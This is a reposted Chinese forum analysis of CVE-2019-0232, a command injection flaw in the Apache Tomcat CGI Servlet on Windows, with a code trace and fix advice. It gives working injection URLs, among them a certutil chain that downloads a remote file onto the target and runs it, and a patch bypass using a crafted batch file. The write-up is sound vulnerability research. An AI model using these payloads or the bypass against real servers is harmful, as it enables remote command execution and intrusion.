转载

CVE-2019-0232:Apache Tomcat远程代码执行漏洞分析

漏洞背景

2019年4月13号, Apache Tomcat 9.0.18 版本公告中提到,本次更新修复了一个代号为 CVE-2019-0232 的漏洞。

该漏洞只对 Windows 平台有效,攻击者向 CGI Servlet 发送一个精心设计的请求,可在具有 Apache Tomcat 权限的系统上注入和执行任意操作系统命令。漏洞成因是当将参数从JRE传递到 Windows 环境时,由于 CGI_Servlet 中的输入验证错误而存在该漏洞。

漏洞影响范围

★Apache Tomcat 9.0.0.M1 to 9.0.17

★Apache Tomcat 8.5.0 to 8.5.39

★Apache Tomcat 7.0.0 to 7.0.93

漏洞复现

笔者使用的测试环境为 Win10 Home 1809,jre版本为18.3 (build 10.0.2+13),Tomcat 版本为去年安装的9.0.13。

Tomcat的CGI_Servlet 组件默认是关闭的,在 conf/web.xml 中找到注释的 CGIServlet 部分,去掉注释,并配置 enableCmdLineArgumentsexecutable ,如下:

<servlet>
<servlet-name>cgi</servlet-name>
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
<param-name>cgiPathPrefix</param-name>
<param-value>WEB-INF/cgi-bin</param-value>
</init-param>
<init-param>
<param-name>enableCmdLineArguments</param-name>
<param-value>true</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
<load-on-startup>5</load-on-startup>
</servlet>

同时把 Servlet Mappings中CGI servlet 部分注释去掉:

<servlet-mapping>
<servlet-name>cgi</servlet-name>
<url-pattern>/cgi-bin/*</url-pattern>
</servlet-mapping>

接着修改 conf/context.xml 的 <Context> 添加privileged="true" 属性,否则会没有启动CGI_Servlet权限。如下:

<Context privileged="true">
<WatchedResource>WEB-INF/web.xml</WatchedResource>
<WatchedResource>WEB-INF/tomcat-web.xml</WatchedResource>
<WatchedResource>${catalina.base}/conf/web.xml</WatchedResource>
</Context>

最后在 webapps/ROOT/WEB-INF 文件夹下建立hello.bat空文件,里面可以什么都不用写。

启动Tomcat,打开浏览器,访问下面链接:

http://localhost:8080/cgi-bin/hello.bat?&C%3a%5cWindows%5cSystem32%5Cnet+user

网页反馈熟悉的cmd结果如下图。

CVE-2019-0232:Apache Tomcat远程代码执行漏洞分析

漏洞利用场景

构造一个注入链接,实现一个图片下载器的功能:

http://localhost:8080/cgi-bin/hello.bat?&C%3a%5cWindows%5cSystem32%5ccertutil+-urlcache+-split+-f+http%3a%2f%2fb.hiphotos.baidu.com%2fimage%2fpic%2fitem%2f9825bc315c6034a8ef5250cec5134954082376c9.jpg+1.jpg+%26start+1.jpg

这里我用一张图片做测试,运行成功后会弹出图片。下面为一个GIF动图演示:

CVE-2019-0232:Apache Tomcat远程代码执行漏洞分析

漏洞分析

网络社区已经有大神分析过了漏洞代码,漏洞代码位于 tomcat/java/org/apache/catalina/servlets/CGIServlet.java 文件中,这里我追踪分析当浏览器访问 http://localhost:8080/cgi-bin/hello.bat?&C%3a%5cWindows%5cSystem32%5Cnet+user 时,相应代码做了哪些操作。

处理链接的代码在 CGIServlet.java中的setupFromRequest 函数中。

String qs;
if (isIncluded) {
qs = (String) req.getAttribute(
RequestDispatcher.INCLUDE_QUERY_STRING);
} else {
qs = req.getQueryString();
}

原始链接字符串

http://localhost:8080/cgi-bin/hello.bat?&C%3a%5cWindows%5cSystem32%5Cnet+user 通过经过getQueryString函数,qs得到了初始查询字符串,此时,qs=” &C%3a%5cWindows%5cSystem32%5Cnet+user ”。

if (qs != null && qs.indexOf('=') == -1) {
StringTokenizer qsTokens = new StringTokenizer(qs, "+");
while (qsTokens.hasMoreTokens()) {
String encodedArgument = qsTokens.nextToken(); if(!cmdLineArgumentsEncodedPattern.matcher(encodedArgument).matches()){

/********此处省略打印日志代码********/
return false;
}

String decodedArgument =URLDecoder.decode(encodedArgument, parameterEncoding);

cmdLineParameters.add(decodedArgument);
}
}

代码首先判断qs不能为空,且不能含有=符号,至于为什么不能为等号,代码注释部分给出了解释,含有=号代表链接为 indexed query

if (qs != null && qs.indexOf('=') == -1)

紧接着, StringTokenizer 类将字符串qs分割为两部分,以+号为分隔符,字符串一分为二,变成了 ”&C%3a%5cWindows%5cSystem32%5Cnet”和”user”。

StringTokenizer qsTokens = new StringTokenizer(qs, "+");

此时分割的字符串并未直接进入命令行执行,作者做了一次正则匹配检验 cmdLineArgumentsEncodedPattern.matcher, 目的是检测字符串的合法性,我们不妨看一下匹配规则,即允许字母、数字、以及特定符号 “%;/?:@&,$-_.!~*'()” 通过检验。显然,我们构造的注入链接都是满足要求的,没有使用匹配规则之外的字符。

private Pattern cmdLineArgumentsEncodedPattern =
Pattern.compile("[a-zA-Z0-9//Q%;/?:@&,$-_.!~*'()//E]+");

然后下一步, URLDecoder.decode 将url编码的字符串转码, ”&C%3a%5cWindows%5cSystem32%5Cnet” 解码后为 ”&C:/Windows/System32/net”,”user ”解码后还是”user”不变。

String decodedArgument =URLDecoder.decode(encodedArgument, 
ParameterEncoding);

cmdLineParameters是一个ArrayList<String> 数组对象,定义如下:

private final ArrayList<String> cmdLineParameters = new ArrayList<>();

反复回溯跟踪代码执行流程,有点耐心,就能找到上面处理后的字符串参数传到下面的代码做最后的处理。

List<String> cmdAndArgs = new ArrayList<>();
if (cgiExecutable.length() != 0) {
cmdAndArgs.add(cgiExecutable);
}
if (cgiExecutableArgs != null) {
cmdAndArgs.addAll(cgiExecutableArgs);
}
cmdAndArgs.add(command);
cmdAndArgs.addAll();

try {
rt = Runtime.getRuntime();
proc = rt.exec(
cmdAndArgs.toArray(new String[cmdAndArgs.size()]),
hashToStringArray(env), wd);

从最后一句可以看出, Tomcat调用Runtime.getRuntime().exec 启动了cmd命令行,参数放在了 cmdAndArgs这个ArrayList<String> 数组中, cmdAndArgs是由cgiExecutable、cgiExecutableArgs、command与params 组合到一起得到的。

if (getServletConfig().getInitParameter("executable") != null) {
cgiExecutable = getServletConfig().getInitParameter("executable");
}

if (getServletConfig().getInitParameter("executable-arg-1") != null) {
List<String> args = new ArrayList<>();
for (int i = 1;; i++) {
String arg = getServletConfig().getInitParameter(
"executable-arg-" + i);
if (arg == null) {
break;
}
args.add(arg);
}
cgiExecutableArgs = args;
}

还记得开头在 conf/web.xml 配置了一个标签 executable, 配置的值为空,即为默认值,可以推测 cgiExecutable与cgiExecutableArgs 并没什么卵用。

File fCGIFullPath = new File(sCGIFullPath);
command = fCGIFullPath.getCanonicalPath();

command源自sCGIFullPath,而sCGIFullPath 可能是文件或者目录,因为无法调试,但通过观察函数命名可知, command极可能是hello.bat 的绝对路径名。

很容易就可以分析出,params就是前面解码后的解码后的 ”&C:/Windows/System32/net”和”user”。

总结一下,此时在Windows下构造的命令行参数如下:

cmdAndArgs={“hello.bat“,”&C:/Windows/System32/net”,”user”}

为了验证我的猜想,我启动命令行,输入下面命令:

hello.bat &C:/Windows/System32/net user

CVE-2019-0232:Apache Tomcat远程代码执行漏洞分析

与浏览器的返回结果一致,说明我们的猜想是正确的。此处必须解释&符号的作用,&含义是,表示&左边字符串与右边字符串是两条命令,命令行会依次执行 ”hello.bat”与”C:/Windows/System32/net user” ;如果没有此处的&号, ”C:/Windows/System32/net user” 将作为参数传递给 hello.bat。

漏洞修复

开发者在 URLDecoder.decode 解码后增加一个正则表达式验证,毋庸置疑,目的肯定是检测url解码后的字符串输入的合法性。

String decodedArgument = URLDecoder.decode(encodedArgument, parameterEncoding);
if (cmdLineArgumentsDecodedPattern != null &&
!cmdLineArgumentsDecodedPattern.matcher(decodedArgument).matches()) {
/******省略打印日志代码**********/
return false;
}

值得注意的是,该正则匹配规则是可以在 conf/web.xml 自定义配置的,默认值为:

if (JrePlatform.IS_WINDOWS) {
DEFAULT_CMD_LINE_ARGUMENTS_DECODED_PATTERN = Pattern.compile("[a-zA-Z0-9//Q-_.///://E]+");
} else {
// No restrictions
DEFAULT_CMD_LINE_ARGUMENTS_DECODED_PATTERN = null;
}

只需注意到,这里过滤了&符号。仅仅依赖过滤&符号显然还是不够的,倘若此处我们精心再设计一下 hello.bat 的内容,命令行注入依旧可行,特地下载最新的修复漏洞后的 Tomcat9.0.20 版本,配置方法与9.0.13版本相同,不同的是hello.bat不再为空,内容如下:

%~1 %~2

上述批处理含义十分简单,是取传入bat第一个参数与第二个参数,并组合一起作为一条命令执行。

修改注入链接为:

http://localhost:8080/cgi-bin/hello.bat?C%3a%5cWindows%5cSystem32%5Cnet+user

经测试,注入依旧成功。因此,修复该漏洞最佳方法是:

1.停止启用enableCmdLineArguments参数。

2.或者在conf/web.xml中覆写采用更严格的参数合法性检测规则。

参考链接

  • https://xz.aliyun.com/t/4875

  • https://github.com/apache/tomcat/commit/4b244d8

  • https://github.com/pyn3rd/CVE-2019-0232/

- End -

CVE-2019-0232:Apache Tomcat远程代码执行漏洞分析

看雪ID: 风噬        

本文由看雪论坛  风噬     原创投稿

转载请注明来自看雪社区

热门图书推荐

CVE-2019-0232:Apache Tomcat远程代码执行漏洞分析   立即购买!

:warning: 注意

2019 看雪安全开发者峰会门票正在热售中!

长按识别下方 二维码 即可享受  2.5折  优惠!

CVE-2019-0232:Apache Tomcat远程代码执行漏洞分析

热门文章阅读

1、 贪吃蛇挖矿木马团伙分析报告

2、 MBR修改敲诈者分析

3、 CryptoWall勒索病毒分析

CVE-2019-0232:Apache Tomcat远程代码执行漏洞分析

公众号ID:ikanxue

官方微博:看雪安全

商务合作:wsc@kanxue.com

点击下方“阅读原文”,查看更多干货

原文  http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458296710&idx=1&sn=bfb3ee737388f32642350da91842cb1f
正文到此结束
Loading...